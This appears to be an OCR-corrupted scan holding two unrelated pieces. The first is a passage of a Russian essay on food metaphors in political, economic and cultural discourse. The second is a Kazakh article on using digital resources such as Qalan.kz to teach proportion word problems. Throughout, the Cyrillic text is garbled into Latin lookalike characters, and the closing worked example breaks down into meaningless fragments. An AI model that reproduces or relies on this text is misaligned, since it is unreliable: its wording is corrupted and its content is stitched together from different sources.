MmeTadopa 'ropbkaa npasaga’ UCMONAb3YETCA AAA TOro, 4ToObl NOAYEPKHYTb HeyaobHbie WM
HenpuATHble GaKTbl, KOTOpble HeW3beXHO AO0/KHbI ObiTb 03By4eHbl, HECMOTPA Ha WX
HENPUATHOCTb ANA CNylaTeneun.

Ewe oaHOM 4YacTo BCTpevatowenca metadopoi ssnaetca "pasgenvTb NOAUTUYECKUIA
nupor". dTa dpasa WANKCTPUPYET NpoLecc nepepacnpeneneHna BNacTU U PecypcoB Mexay
NOANTUYECKMMM TPYNMMPOBKAMM UAW NAPTUAHBIMK cunammn. "Mupor" B OaHHOM KOHTeKCTe
CMMBO/IM3NPYET 0DOLLME pecypcbl, KOTOPble Pa3AeNAtnTCA MeXay Y4aCTHMKaMW MNOAUTUYECKOrO
npouecca, a cam npouecc aenexa obosHayaeT 6opbOy 3a BNACTb, BAMAHME U IKOHOMUYECKME
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6nara. 370 BblpaXkeHMe 4acTo MCNONb3YeTCA A5 TOro, 4Tobbl NoaYepKHYTb HopbbY 3a pasaeneHue
M KOHTPO/b Haj, rocyapCTBEHHbIMM PECYPCAMM.

AHanu3 peyein BeayLIMX MONUTMKOB CBUAETENLCTBYET, YTO MulLeBaa meTadopa TaKkKe
ABNAETCA MHCTPYMEHTOM MaHUMYAALUMM OBLWECTBEHHBIM MHEHMEM. B 3aBUCMMOCTMN OT KOHTEKCTA,
TakMe BblpaXKeHMs MOryT KaK YyCUAMBaTb [OBepMe K 0paTopy, Tak M AMCKPeaAUTMPOBaTb
onnoHeHToB. Hanpumep, dpasa "nogasuTb NpoTecT”' NPOBOAUT ACCOLMALMIO C MEXaHUYECKOM
06pabOoTKOM MULLM, AKUEHTUPYA BHMMAHWE Ha KOHTPOJEe W MOoAaBAeHMM M Npeanonaras, yto
[EeNCTBMA MNPaBUTENbCTBA WM BAACTEM HaMpaBAeHbl Ha YCTPaHeHWe onnosuuum  Uau
HeZ0BONbCTBA. B 4@aHHOM KOHTEKCTe nuuleBas metadopa CMMBO/IM3MPYET NPOLLECC, B KOTOPOM
HeZJ0BONLCTBO WM MPOTECT MOABEPraloTCA MKECTKOMY M HeobpaTMMOMy MNOAABMEHWUIO, 4YTO
CNoCOBCTBYET YKPENneHWto BNacTu.

MuweBas meTadopa B MONUTUYECKOM AMCKYPCE HE TOMbKO CAYXKWUT ANA YyNpoLweHua
BOCMPUATMA MOJUTUYECKUX WAEN, HO W aKTUBHO WCMOAb3yeTcA ANA MaHWMNyIMpPOBaHMA
0bULECTBEHHBIM MHEHWEM, CO34aHuA onpeaeneHHbix 06pa3oB M BAMAHWMA Ha BOCMpPUATUE
NOANTUYECKMX COOLITUIM N duryp.

JKOHOMMUYECKUI AMCKYPC aKTMBHO 3aMMCTBYET nuuieBble meTadopbl, YTO 0bycnoBAeHO
CTPEMAEHMEM K YMPOWEHUIO U BM3yaNM3aLMM  CAOMKHbIX 3IKOHOMMWYECKMX MpPOLEeCcCOoB.
icnonb3oBaHMe racTpOHOMMYECKMX 0Opa30oB MNO3BONAET 3HAUYMTENbHO CHU3UTb KOTHWUTMBHYHO
Harpy3Ky Ha BOCMPUHMMAIOWLEro, a TaKKe cAenaTb BoCnpuATME abCTPaKTHbIX GUMHAHCOBBLIX W
9KOHOMMYECKMX NOHATUI Bolee MHTYUTUBHO NMOHATHBIM. [TPUMEPOM 3TOTO ABNAETCA BblpaXKeHme
"CbIT MO ropno KpusMcom'", KOTOpoe mnepenaeT CTeneHb YCTaloCTU M HACbILLEHHOCTU
OTPULATENBHBIMW CODBITUAMM, YKasblBad Ha MCYepnaHMe BO3MONKHOCTEM M pecypcoB ANs
[anbHewwero Tepnenna nnm 6opbbbl. Takoe ncnonb3oBaHne meTadopbl aKLEHTUPYET BHUMaHWeE
Ha HacbllWEeHWN CybObeKTa KPWM3MCOM, YTO, B CBOK oyepedb, MNOAYEPKMBAET  ero
HeyA0BNEeTBOPEHHOCTb TEKYLEN CUTYaLMeN.

TepMuH "nepeBapuTb YObITKM" MOMKET CNYXKUTb MPUMEPOM TOTO, KaK raCTPOHOMMUYECKan
meTadopa MANKCTPUPYET NPOLLECC OCMbICAEHMA W aAanTaumMmn K NoTepAam. B JaHHOM KOHTEKCTe
"nepeBapuTh” 03HaAYaET HE TONILKO PU3MYECKYHO CMOCOOHOCTL OPraHM3Ma CNPaBUTLCA C MULLEN, HO
M CMMBOM3NPYET NPOLLECC MHTerpaumm GUHAHCOBbLIX NOTEPb B 0OLLYHO KaPTUHY SKOHOMUYECKON
neaTeNbHOCTN. ITOT 06pa3s meTadopUYEcKM OMUCbIBAET CAOMHbLIM npouecc nepepaboTkn U
0CO3HaHMA yHbITKOB, KOTOPbIE HEOBXOAMMO "NepeBapuTb” A1A TOro, YToObl ABUTaTLCA BNeped.

B cBolO ouepenb, BbipaxKeHue "roioaHble BpemeHa" noA4YepKnBaeT SIKOHOMUYECKUA cnag,
WU KPU3UC, KOTAA@ PeCcypCbl OrpaHMYeHbl, @ NoTPebHOCTM HaceNeHNA He YA0BNETBOPAIOTCA. 34eCh
MCMNONb3YeTCA KAacCMYecKana racTpoHOMMYeckana meTadopa, oTpaxKatolwana AePUUnNT U HexBaTKy
cpeacTB. BaKHO OTMETUTb, UTO Takme meTadopbl, Kak "ronogHble BpemeHa", akTMBHO BK/HOYAOTCS
B MOJIMTUYECKME N IKOHOMMYECKME AMCKYCCUM, YTOObI NOAYEPKHYTb 3HAYMMOCTb NMPEOAONEHMA
9KOHOMMYECKOTO r01043a, YTO MOXKET ObITb KaK BbI3OBOM, TaK M CTUMY/IOM K BOCCTAaHOB/IEHMIO.

He meHee Bbipa3nTensHom asaseTca metadopa "GpUHaAHCOBLIN Ny3bipb JIOMHYA", B KOTOPOW
06pasbl Ny3bIps M €ro /0NaHMA TECHO CBA3aHbl C MOHATMEM 3KOHOMMYECKOM HecTabunbHOCTW.
®urHaHCOBbIE MY3blPbKM AaCCOLMMUPYHOTCA C U3ObITOYHON, HeCOaNaHCUMPOBAHHOM AeATEIbHOCTbIO Ha
PbIHKe, rAe LEeHOBble aKTMBbl HaKamnJMBalOTCA Ha OCHOBE CMeKyaAUMM, a He OObeKTMBHOMN
9KOHOMMWYECKOWN LEHHOCTU. JSlonaHue ny3blps — 3TO BHE3aMHbIN 1 3a4acTyto KaTacTpodUUECcKmit
addeKT, KOTOpbIM BO3HMKAET, Koraa ueHbl "nonatotca”, a ¢ HMMKM pylwatca GUHAHCOBbLIE U
PbIHOYHbIE CTPYKTYpbl. OTO MeTadopuyeckoe onmMcaHwe MNOMOraeT BBECTM MOHATUE PUCKOB U
KPW3MCOB, ABNAIOLLMXCA HEOTbEMIEMbBIMW 3/1IEMEHTAMMN COBPEMEHHOTO PbIHKA.

MuweBas MeTadopa B 3IKOHOMMYECKOM AMCKYpce OYHKUMOHMPYET KaK MOLLHbIN
MHCTPYMEHT ANA YNPOLLEHWNA 1 BU3yann3aLMM SKOHOMUYECKMX NMPOLLECCOB, AeNan NX AOCTYMHbIMU
M MOHATHLIMM ANA WWPOKOW ayautopun. C NMOMOLLbIO TakMx meTadop, Kak "cbiT no ropao",
"nepeBapuTtb yObITKN", "ronogHble BpemeHa" M "NOMHYBWWIM MNy3bipb", MOMHO 3PPEKTUBHO
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nepefaTtb CNOMXKHbIE aCMNEKTbl SKOHOMMUYECKMX Peanuii, NOAAEPHKMBAA NPU STOM AMHAMUYHOCTb U
NpUBEKaTeIbHOCTb 0OCYKAaeEMON TEMbI.

B maccoBol Ky/nbType nuuiesas metadopa BbIMOAHAET BaXKHYIO POJb B CO34AHMM APKMX
06pa3oB, 3MOLMOHANbHOM BO3AEWCTBMM Ha ayAUTOPUID W YCUNEHWW BbIPA3UTENbHOCTU
KOMMYHMKaumn. MpUMeHeHWe racTPOHOMMYECKMX 0DOpPa3oB B peKkname, UTepaType, KUHO U
Apyrnx Gopmax MaccoBOM KyabTypbl MO3BOJSET 3HAYMTENIbHO MOBbLICUTb BOCMPUMMUYMBOCTb U
3aNOMMHAEMOCTb NepefaBaemMbix naen. K npumepy, Takme BbipaskeHus, Kak "clagKkas KusHb",
"ropbKas npasaa" uam "KMcabln xapaktep", CNob3ytoT NuLleBana meTadopa 415 akLEeHTUPOBAHMS
3MOLMIM 1 NMCUXONOTMYECKMX COCTOAHMIA, CO3[aBas APKME M IEFKO BOCMPUHMMAEMbIE aCCOLMALIUN.
B 3Tux dppasax coyeTaHMe NULLM C aDCTPAKTHBIMMU MOHATUAMM UAW IMYHBIMM KQYECTBAMM NMOMOraeT
YCTAaHOBMTb 3MOLIMOHANbHYIO CBA3b MeXAy COAEP’KaHWEM M BOCMPUATMEM, 4YTO AenaeT
coobuleHme bonee KMBbIM U BIN3KUM A18 ayauTOPUM.

"Cnagkaa »u3Hb' — 3TO0 MmeTadopa, KOTOpas accoummpyetca ¢ Onarononyydmem,
HacnaxaeHMem u 6e33ab0oTHOCTbIO. B MaccoBOM Ky/abType OHa aKTMBHO WCNOAb3yeTca A4S
0603HaYeEHNA WAEaNM3NPOBAHHOIO CyLLECTBOBAHMA, YaCTO B KOHTEKCTe 61arococTosHWs U
KomdopTa. B TO Bpema Kak "ropbkas npaBaa" B 3HAYMTENbHOW CTEMeHW cocpenoToveHa Ha
HEMPUATHBIX, HO HeM3beXHbIX GaKTaxX AN OCO3HAHMAX, TPEDYIOLLMX IMOLMOHANBHOTO YCUAKA ANA
BOCMPMATUA. DTN MeTadopbl CTAHOBATCA HE TONbKO BbIPA3UTENbHBIMU MHCTPYMEHTAMMU, HO U
KYNIbTYPHBIMM  KOZAMW, C MOMOLLBIO KOTOPbIX MOMXHO ObicTpo ¥ 3ddeKTMBHO nepeaatb
3MOLMOHANIbHOE COCTOSHWE, CYyTb CUTYaLMMN MAM TMHHOCTHYIO XapaKTePUCTUKY. B cBOKO ovepesb,
BblpaxkeHue "Kucibi xapaktep" Kak metadopa OTHOCUTCA K II0ACKMM 0CODEHHOCTAM, Nepeaasan
4epTbl HEeraTMBHOrO MOBEAEHWA, TaKMe KaK pPa3aparKMTeNbHOCTb WAW HeAO0BOABLCTBO, YTO
No3BOAAET nepenaTb 06pa3 6e3 HeobXoAMMOCTU TYOOKOro 06 bACHEHUS.

Kpome Toro, nuuiesaa meTadopa dopmupyeT M BAMAET Ha Cnocobbl MbIWAEHWA W
KOMMYHMKaUMM B PasanyHbix Cchepax oOOLWLeCTBEHHOM XW3HWM. Hanpumep, B pekname
MCNONb30BaHME TaKuMx meTadop cnocobcTByeT co3AaHMIO 006pPasoB, KOTOPble MNpPMBAEKAOT
BHMMaHWe 1 obecneymBatoT SMOLMOHAbHbIN OTKANK Y 3pUTENA, YTO 0COOEHHO BaXKHO B YCNOBUAX
HaCbILLEHHOCTM PbIHKA WM BbICOKOW KOHKYpPeHUMW. 34ecb nuuieBad MeTadopa CTaHOBUTCA He
TONbKO WMHCTPYMEHTOM 3CTETUMYECKOro BO3AENCTBMA, HO W CTPATErMYecKMM 31eMeEHTOM,
CNoCOBCTBYIOWMM BbIAENEHNIO TOBAPA MM YCAYTU Cpeam APYriX. B KMHO 1 anTepaType nulieBas
MmeTadopa CAYKUT MOLLHbIM CPeacTBOM Ana r1yboKOW MNCUXON0rMYyeckon npopaboTkm
NepcoHaXKen, co3aaHMa CUMBOJIMYECKMX 0OPa30B N PACKPbITUA CIOKETHBIX TEM.

TakMm obpasom, nuuieBaa meTadopa B MaCCOBOM Ky/nbType He TOSIbKO OTparkaeT
NOBCEeAHEBHbIE ABNEHMA U BHYTPEHHME COCTOAHMA YE0BEKA, HO M aKTUBHO GOPMMPYET CNocobbl
BOCMPMATUA M OBOLEHMA B pamKax OOLLECTBEHHOTO AMCKYpCa. B 3TOM CBA3M MOXKHO yTBEPKAATD,
YTO OHa BbIMONHAET HE TO/IbKO QYHKLMIO UAMOCTPALMM, HO U CAYSKUT BaXKHBIM MHCTPYMEHTOM A4
MNOCTPOEHMA KYNbTYPHbIX M SMOLIMOHA/bHbIX CBA3EN C ayAUTOPUEN.

MccnegoBaHme nuLeBor meTadopbl B KOHTEKCTE COBPEMEHHOM TNHIBUCTUKM OTKPbIBAET
Ba)KHble aCMeKTbl TOro, Kak A3blK M MbIWEHNE B3aMMOCBA3aHbl, a MeTadopbl, 0COBEHHO
OCHOBaHHbIe Ha KOHLENTaX MULLN, UTPatoT PeLLatoLLyto Poib B OpraHM3aLmMm Hallero BoCcnpuaTuns
N ocmbIcieHna mupa. MNuuesas metadopa, MMeloLLaa KOPHN B Ha30BbIX acnekTax Ye10BeYecKom
KU3HW, TaKMX KaK noTpebaeHme Nuum, CAy»KUT YHUBEPCANbHbIM MHCTPYMEHTOM A/1A YNPOLWEeHMA
M KOHLENTyanM3auMm CNAONKHbIX MOHATWUIA, CO034aBasi MHTYMTMBHO MOHATHble 00pasbl. ITu
MeTadopbl CTAaHOBATCA HE TONbKO CTUAUCTUMYECKMMW CPeacTBaMM, HO U KOTHUTMBHbIMM
MeXaHM3MamK, KOTopble CMOCOBCTBYIOT CTPYKTYPUPOBAHUIO 3HAHWI M BbiparkeHWto 6onee
CNOXKHbIX KOHL,ENTOB Yepe3 NPOCTble M 3HaKOMble A/1A 6ONbLMHCTBA toAe 06beKTbl M MPOLECChI.
TaKk, meTadopa «nepeBapuTb MHOOPMALMIO» MAN «CHECTb CBOW CAOBa» NpeAcTaBnseT coboin
APKMI NPUMeEpP TOro, Kak NMPOLLECChl NpMemMa NULLM MOTYT CAYXKWUTb aHANOTMAMM 1A YCBOEHWUA U
nepepaboTKM HOBbLIX 3HAHWI, SMOLIMIA AN CODLITUI.
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MpuHUMNbl MeTadopMyecKoro npoeumpoBaHMA, TakMe KaK MepeHoC CBOWMCTB OAHOW
KOHLEeNTya/ibHOM 06/1acTW Ha APYryto, NoOMOratoT 06bACHUTL, novemy nuiuieasa meTtadopa Tak
WMPOKO MCMNO/Mb3yeTca B PasHbiX chepax 4YenoBeyeckor AeATeNbHOCTM — OT MOAUTUKM U
9KOHOMMKM [0 JIMYHbIX MEepPexmnBaHUi W KyNbTypHbIX NpeacTaBneHuin. Kak nokasaHo B
nccnegosaHmax flakodda m [oHcoHa, meTadopa asngetcs dyHOAAMEHTANbHbIM KOTHUTUBHbLIM
MPOLECCOM, KOTOPbIN MO3BONAET NEPEHOCUTL XapPaKTEPUCTUKM Bonee KOHKPETHbIX M 3HAKOMbIX
0ObEKTOB, TaKMX KakK eZla, Ha abCTPAKTHbIE M COXKHbIE KOHUENTbI, TaKMEe KaK BNACTb, YCNex Uam
CTpax. ITO ABNEHME HAXOAMUT CBOE OTPAXKEHME B A3bIKE M MOMOraeT A0AAM Sydlle BOCMPUHMMATb
M MHTEPNPETUPOBATb COXKHbIE M MOPOM HENErKo NoaAatomecs 06 bACHEHMIO ABNEHNA.

MprMmepbl UCNONB30BaHMA NULLEBLIX MeTadop, TaKMe KaK «ropbKasa npaBaa», «CNafKan
MU3HbY, «nepeBapuTb pedopMbl», WANOCTPUPYIOT, KaK A3blK MOMOraeT co3aaTb SpKUe,
3MOLMOHANbHO HacCbIlLeHHble 00pa3bl, cnocobCTByOWMe AydlwemMy NMOHMMAHWUIO abCTPaKTHbIX
NOHATUI. Pe3ynbTaTbl MHOMOYMC/IEHHbIX UCCAEA0BaHMIA, TakKUX Kak paboTbl Bexbuukoin [6] u
CTepHMHa [2], noATBEPKAAIOT, YTO NULLEBbIE MeTapopbl TECHO CBA3aHbl C 4Ye/0BEYECKMMM
AMOLMAMM N BOCMPUATMEM MMPA. ACCOLMALMM CO BKYCAMM, KaK CMAAKMMM, TaK U FTOPbKUMMY,
HepeaKo MepeHOCATCA Ha 3MOUMOHA/bHblE COCTOAHMA /OAEN, YCUMAMBAA BO3AeNCTBME
BbICKA3bIBAaHWI M NpMAaBaA UM APKOCTb M BblPa3nTebHOCTb. Hanpumep, BblpaxeHne «cnaakui
ycnex» He TONIbKO NepeaaeT NAet 0 AOCTUNKEHNMN HYErO-TO 3HAYMMOTO, HO M BbI3bIBAE€T MO3UTUBHbIE
aMOUMK, AeNaa BoCnpuAaThe ycnexa 6o/1ee SMOLUMOHANIbHO HACbILLEHHbIM.

Kpome TOro, metadopsbl, CBA3aHHbIE C €401, OKa3bIBAOT BAMAHME HA KPOCC-KY/bTypHbIe
Pa3NMYMA B BOCMPUATMM MUpPA. Hanpumep, B pasHbIX Ky/NbTypax CXOXMe nuuiesble meTadopbl
MOryT NpuobpeTaTbh pPa3MyHble OTTEHKM 3HAYEHMI, YTO OTKPbIBAET NyTb AnA bonee rnybokoro
aHaNM3a MENKKYAbTYPHOM KOMMYHUKaumMW. Kak nokasan npuMmMep C BblPaXKeHMEM «KaK Cblp B
Macne» u «mettre du beurre dans les épinards» Bo ¢paHLy3CKOM, O4HA 1 Ta XKe KOHLUeNTyabHas
6a3a MOXKeT BOCMPUHMMATLCA MNO-PA3HOMY B 33aBMCMMOCTM OT KY/AbTYPHbIX Tpaguuuin u
MCTOPUYECKOTO KOHTEKCTa [7]. Takme pa3nuyma B BOCNPUATUN MeTadop NOAHEPKMBAKOT BAXKHOCTb
y4eTa KyNbTypHbIX GaKTOPOB Npu aHann3e metadop u MX 3HaYEHUI B Pa3HbIX A3bIKaX.

MuuweBas meTadopa TaKKe OKas3blBaeT BAMAHME Ha Pa3/nyHble NpodeccMoHaNbHble
061acTy, BKAKOYAA MOJMUTUKY, SKOHOMWKY, MPaBoO, MCUXONOTUIO U Apyrve. B noantmyeckom
AncKypce meTadopbl, TakKMe KaK «pa3aennTb NOAUTUYECKUA MUPOT» UK «NepeBapuTb pedopmbl»,
aKTMBHO WMCMONb3YIOTCA A8 OOBACHEHWA CNOXHbBIX MPOLLECCOB MnepepacnpeneneHna BnacTy,
PeCcypCcoB 1 COLMANbHbIX UIBMEHEHWI. B 9KOHOMMKE BbIPAKEHNA BPOAE «MPOTNOTUTb YObITKM» UK
«OUHAHCOBBIN KPM3UC» HArNAAHO AEMOHCTPUPYIOT MCMNOMb30BaHME MULLEBLIX MeTadop As
OMMCaHMA SIKOHOMMUYECKMX NPOLLECCOB. DTN MeTadopbl HE TONIBKO YMPOLLAIOT C/IOKHbIE KOHLLENTbI,
HO M MOTYT WMCMONb30BATbCA KaK WMHCTPYMEHTbI MaHWUMyAsUMM OOLWECTBEHHBIM MHEHUEM,
dopmmnpys onpeaeneHHble NpeacTaBAeHNs 0 NPOUCXOAALLMX CODLITUAX U AencTBMAX. Hanpumep,
B PEK/TAMHOM MPaKTUKE M MACCOBOW Ky/IbType nuileBas meTadopa CAyXKUT A5 co3gaHuns o6pa3os,
YCUAEHMA SMOLIMOHAIbHOTO BO3AEMCTBUA Ha ayAUTOPUIO U MPUBAEYEHNA BHUMAHMA K NPOAYKTaM
NN COBLITUAM.

MuuweBas meTapopa ABNAETCA BAKHbIM 3/1EMEHTOM KOTHUTUBHOWM IMHTBUCTUKM, MOCKO/IbKY
OHa CTPYKTYPMPYET Hally A3bIKOBYKD KAapTUHY MWPa, BAMAA Ha BOCMPUATME M MHTEpnpeTauumto
OKpY*KatoLlen AeNCTBUTENbHOCTU. MpuMeHeHne 3TUX meTadop B PasHbIX KOHTEKCTAxX No3BOASET
He TONbKO cAenatb KOMMYyHMKauMio 60nee APKOM W BbIPpa3UTEbHOW, HO M MOMOraet
CTPYKTYPMPOBATb HalM 3HAHWMA M amouMK. Kak NOKa3aHo B McCAenoBaHMAX Bexxbuukon [6] u
APYTrUX y4eHbIX, MICMOAb30BaHMeE NULLEBbIX MeTadOp TaKKe OTParKaeT KyNbTypPHble 0CODEHHOCTH U
A3bIKOBYIO CNeumdurKy, UYTO OTKPbIBAET HOBbIE TFOPU3OHTbI ANA WM3YYEHUA MEXKKY/NbTYPHOM
KOMMYHMKaUMKN U TMHTBUCTUYECKUX MCCNe0BaHUN.

Takum obpasom, nuuiesana metadopa ABNAETCA HE MPOCTO MHCTPYMEHTOM Peyn, HO U
BaXHbIM KOTHUTUBHbIM MEXaHW3MOM, KOTOPbIA CMOCOOCTBYET YNPOLLEHWNIO MU KOHLUENTyann3aumm
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CNOXKHbIX MOHATUI, UTPAET BaXKHYHO POJIb B BbIPAXKEHUM IMOLMIA M OTHOLLEHMAX, @ TAKXKe OTpaXKaeT
Ky/bTypHble 0cobeHHOCTM 0bLlecTBa. MiccnenosaHma B 3ToM 061aCTU UMEIOT LWUMPOKUIA NOTEHLMAN
ANA AaNbHEeNWNX MccneloBaHWA, BKAOYAA aHaNM3 MCNOAb30BaHMA MeTadop B pa3HbIX A3bIKOBbIX,
KY/NIbTYPHbIX M NpodeccMoHanbHbIX KOHTEKCTax. B wTtore, 6onee rnybokoe nOHMMaHMe
MeXaHM3MOB YHKLMOHMPOBAHMA MULLEBbIX MeTAadOpP MOMKET CyLIECTBEHHO PaCLIMPUTb HaLM
3HAHWA O A3bIKE, MbILWAEHUN U MEXKKYIBTYPHOM KOMMYHMUKALMN.
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«MTIHA| ECENTEPAI MPOMOPLIMAHbBIH
KOMETIMEH LLIbIFAPY» TAKbIPbIBbIH
LINDP/IbIK PECYPCTAP APKbI/TbI OKbITY (6
CbIHbIM)

3abuesa Kamwat KazbekosHa

FbINbIMMK KeTeKLi, marnctp, |. }aHcyripos aTbiHAafbl MKeTicy yHUBepcuTeTi, TanablKopfaH
Kanacol, KasakcTtaH

KyaHbiwbaeBa Mayxap baTbipranvesHa

binimrep, |. aHcyripos aTbiHAafbl HKeTicy yHuBepcuTeTi, TanablKOpFaH Kanachl,
Ka3akcTaH

AHHoTauma: Ocbl MaKanaga matemaTtuKka cabarbiH LMPPbIK PecypcTap apKbl/ibl OKbITYAbIH,
TMiMAinirin kapactbipambi3. Lndpabik pecypctapabiH MaTeMaTUKaNbIK YFbiIMAapabl MeHrepyai
Kanam MeHinaeTeTiHi KoHe OKbITY MPOLECIHIH HITUMKeNIriH apTTbipyaasbl aCepiH 3epTTenmis.
MaTeMaTuKanblK KOHLenuManapabl TYCiHY »KaHe ecenTepAi WbiFapy 6apbiCbiHAA Ke3aeceTiH
KMbIHABbIKTApP MeH macenenepai umMdpablk pecypctapabl KOAAaHY apKblibl Welly *KOAAapbiH
KepceTemis. OKbITY MNPOLLECIH KOPHEKi »KaHEe KbI3bIKTbl TYpAe VMbIMAACTbIpY Tacinaepi meH
KAWbIKTbIKTAH OKbITY afdalblHAQ OKYLIbIHbIH 63 OeTiHwe 6iniMiH  apTTbipy *KONAapPbIH
3epTTENMIS.

KinT cesaep: MaTiHAI ecenTep, maTemaTWKa, NPONoOpuUMA, MaTemaTUKanblK MOAenb,
LUMPPAbIK pecypcTap, MaTeMaTUKaaafbl KBPHEKINIK, LMPAbIK pecypcTapabl NainaanaHy apKpibl
OKbITYAbIH, TUIMAINIT, KALUbIKTbIKTAaH OKbITY, BiniMre KosKkeTiMainiK.

KP Mpe3snageHTi Kacbim-KomapT TokaeB KasaKCTaH XanKblHa TyHfbilWw peT *KonaaybiHAa
«Kagipni KasakcTaHabikTap! KasakcTaH — opTak, WaHbliparbimbia! MeH 6apiHi3ai mepenni
MeKeHiMi3ai epKeHAeTyre yaec Kocyfa WakblpamblH! CbiHAAPAbI KOFAMAbIK AMaN0or — TaTyblK NeH
TYPaKTbIAbIK Herisi" - Aen aiTbin keTkeH [1].

MaTiHAI ecenTep OKy *KaHe Kacibu Tancbipmanapaa KeHiHeH KonaaHblnabl, UTKEHI onap
NIOTUKaNbIK OMnayabl, aknapaTtTbl Tangay KabineTiH »koHe 6inimai Toxipubene KonaaHydbl
AaMbITyfa cenTiriH Turiseai. Ecentep ap adamMHbliH eMipiHAe MaHbI3dbl pen aTkapagbl. Onap
oMnayabl AaMbITbiM, Tajngay oHe weliMm Kabblngay AafdblnapbliH XakcapTyfa KemeKreced,.
MaTiHAIK ecenTep MaTemaTMKaHbl OKbITYAbIH, MaHbI3Abl Kypanabl 60sbin Tabblnagbl. OnapabiH,
KeMerimeH OKyllblfap LWaManapMeH »yMbIC icTey TaxipubeciH anaabl, onapAblH ©3apa
HannaHbICTapbIH TyCiHeAi, coHaan-aK MaTemaTMKaHbl NPAKTUKa/bIK ecenTepai wewyae KongaHy
TOXIpMOECIH XUHAKTaNAbI.

Byn makanaga 6i3 « MaTiHAI ecenTepi NPONOPUMAHBIH, KEBMETIMEH LWbIFapy» TaKblpblObIH
OKbITYZa UMPPAbIK pecypcTapdbl KONAaHYAbl aHe Taxkipubene icke acbipydbl KapacTblpambl3.
Erep 6i3 okylWblnapabl ecen wWbiFapyra ympeTcek, byn onapapiH, NaHre AereH Kbl3blFyLWbl/blFbIH
apTTbIPbIN KaHa KOMMan, MaTeMaTUKabIK OMnay KabineTiHiH KanbinTacyblHa Aa eneyni acep eTeq,,
backa cananapfafbl XaHa binimaepai caTTi meHrepyre ae biknan eteqi. OKylblAapaa MaTiHAIIK
ecenTepai Wwewy Aafaplnapsl 6acTayblll MekTenTeH 6acTan Kanbintacaibl.

MBaTiHAIK ecenTep maTemaTuKa NaHi boMbiHWa BYKiN MeKTen Kypcbl BOMbl OKbITblAAAbI.
MaTiHAIK ecenTepai Wwely Aafablnapbl 6acTayblll CbiHbINTapAa KanbinTaca 6actanabl. Kapanarbim
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MOTIHAIK ecenTepi apuPMeTUKaNbIK TICIIMEH LWelly NOTMKanblK onnay KabineTiH AambiTbin,
YCbIHbIZIFAH Xafdannapasl Tanaan binyre, Tek 6acTbl cypakTbl Tabyra faHa emec, COHbIMEH KaTap
KayKeTTi HOTUXKE any YUiH apeKkeTTepdi opbiHAay TOpTiOiH aHbIKTayFa Aa KemeKTecedi. [ereHmeH,
ecenTepai TyCiHyAi, WapTTbl Tanaayabl, OMAaHyabl }KaHe paumoHandbl Wely TacinaepiH Tabyapbl
ynpeTy acipece 5-6 cbiHbINTapAa mMaHbli3abl, cebebi ecentepiH, Kypaeniniri ocbl KeseHae ani ae
eHin oHe b6yn ecentep eH MaHbi3Abl KaTeropusnapablH, 6ipi 60abin Tabblnagpl. KMbiHAOBIK,
XeHingeH bacrtanaabi [2].

[ereHMeH, MaTiHAI ecenTepai wWbiFapy OapbiCcbiHAa OKylbllapda MblHadan macenenep
TybIHAAYbl MYMKIH (1-cxema):

xKasyza )KoHe
Oenricizaepin
Tabyna
KUBIH/IBIKTAP
TYBIHIAY

MorTiHHIH
Ma3MYHBIH
TyciHOey

Kapanaiibim
CO3JIepMEH
OepiireH ecenTiy
MaTeMaTHKaJIbIK
MOJIETIIH Kypa
anmay

[emry omicin
TaHAal anmay

1-cxema. MaTiHAi ecen WbiFapy 6apbiCbiHAA TYbIHAANTLIH Npobaemanap

EcenTi wewy »onblH TyciHOereH oKylblnap ecenTiH maTtemaTuKaiblK MOAesniH Kypyaa
KMbIHABIKTAP TYbIHAANAbI. By OKYLbIHbIH OMAaybIHAAFbI MICENEHIH, YATICIHIH AypbIC 60/MaybliHaH
(AFHKW, MHBAPMAHTTAP, MaCeNEHiH e3eriHae TafKblNay, OKyLUbIFa YHAMCbI3) 601ybl MYMKIH [3].

Byn TyKblpbIMAApAbl €CKepe OTbIpbIN MacenenepaiH, Welwly *}onaapbiH TabybiMbl3 KaXeT.
AfHM, OKbITY npoueciHe UMOPAbIK PecypcTapabl eHri3y apKblibl CabaKTbl KbI3bIKTbl ©TKI3iM,
OKyWbINapAablH, ecen  LWblfapyfa JAereH MOTWMBAUMACBHIH  apTTblpambi3.  AKNapaTTapablH,
KO/MKETIMAINIHE KoHEe 3P OKYLLUbIHbIH EKe KaXKeTTinikrepiHe benimaenyre MyMkiHAiK 6epen,.
MblICanbl, TaKbIPbINTbl TE3 MEHTEPIN KaTKaH OKyLUblfa KOCbIMLLIA MaTepUanzap yCblHyfa Hemece
ecen Wblfapy 6apbiCbiHAA KMHAbIN KaTKaH OKYLUbIFa KEMEK KepceTe aNambi3.

CblHM OWMnayabl AaMbITyFa, MITiHAI ecenTepAiH Ma3MyHblH KepHeKi Typae TycCiHAipe
anambli3. MaTtematnka cabafblHaa UMOPAbIK pPecypcTapAbl KOAAAHY Myfanimaepre OKbITY
MaTepuanaapbiH AavblHAAyAa aWTap/bliKTal yakbITTapblH yHemaenai. byn kebipek ecentep
LWbIFapyfa biIkNaa eTesi, OCbl AQPKbl/Ibl OKYLLbIAAP TaKbIPbINTbI Cananbl 9pi TepeH TyCiHeAi.

Undpnbik pecypTap Myfanimgepre OKyWblNapaaH *Kblagam Kepi 6alinaHbIC anyfa KaHe
onapablH yArepiMmiH 6akblnayra, HaKTbl YaKbIT PeXMMiHAE OKy VAEepiCiH peTreyre MyMKiHAiK
Hepeni. MatemaTtnka cabafblH KalWbIKTbIKTAH OKbITyAa OHTaM/bI Kafaal )Kacanabl. MaTtemaTuka
cabafblH yI1 »KafaalblHAA AFHW, KAlWbIKTbIKTAH OKyfa H6onagpl. OKyLWbINapablH, MaTeMaTUKanaH
BiniMiH }KaKcapTyFa KaHe 6TKeH TaKblpbINTbl HeKiTyre, MaTemaTUKaHbl 63 6eTiHLe oKyFfa Qalan.kz
cantbl KemekTece anagpl. Qalan.kz Kasak TiniHAe KypbiafaH caT 6onbin Tabblnagsl. Qalan.kz
canTbiHAA reMMMPUKaLMa MeH TancbipManapablH, BuaeoTyCiHAipmenepi 6ap (1-cypeT).
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3-ECEN

BipiHLIi KyBbIp CaFaTbina 250 N cy wibepin, xaybi3ab
3 caraTTa TONThIPa/sl. EKiHwWwi KyBbip OChl Xaybi3ab

5 caFaTTa TonTeipaAsl. EKiHWI KyBbip caraTkiHa Hewe
nuTp cy *ibepeai?

WELIYL:

T50d | Heax 5
YA — S
1504 — S \
Pl Lewn

). Ao B o R AV
:

ML (S0 A
1-cypeT. BuaeoTtyciHaipme
bepinreni:
40 km/caF — 70c
X km/caf — 80c
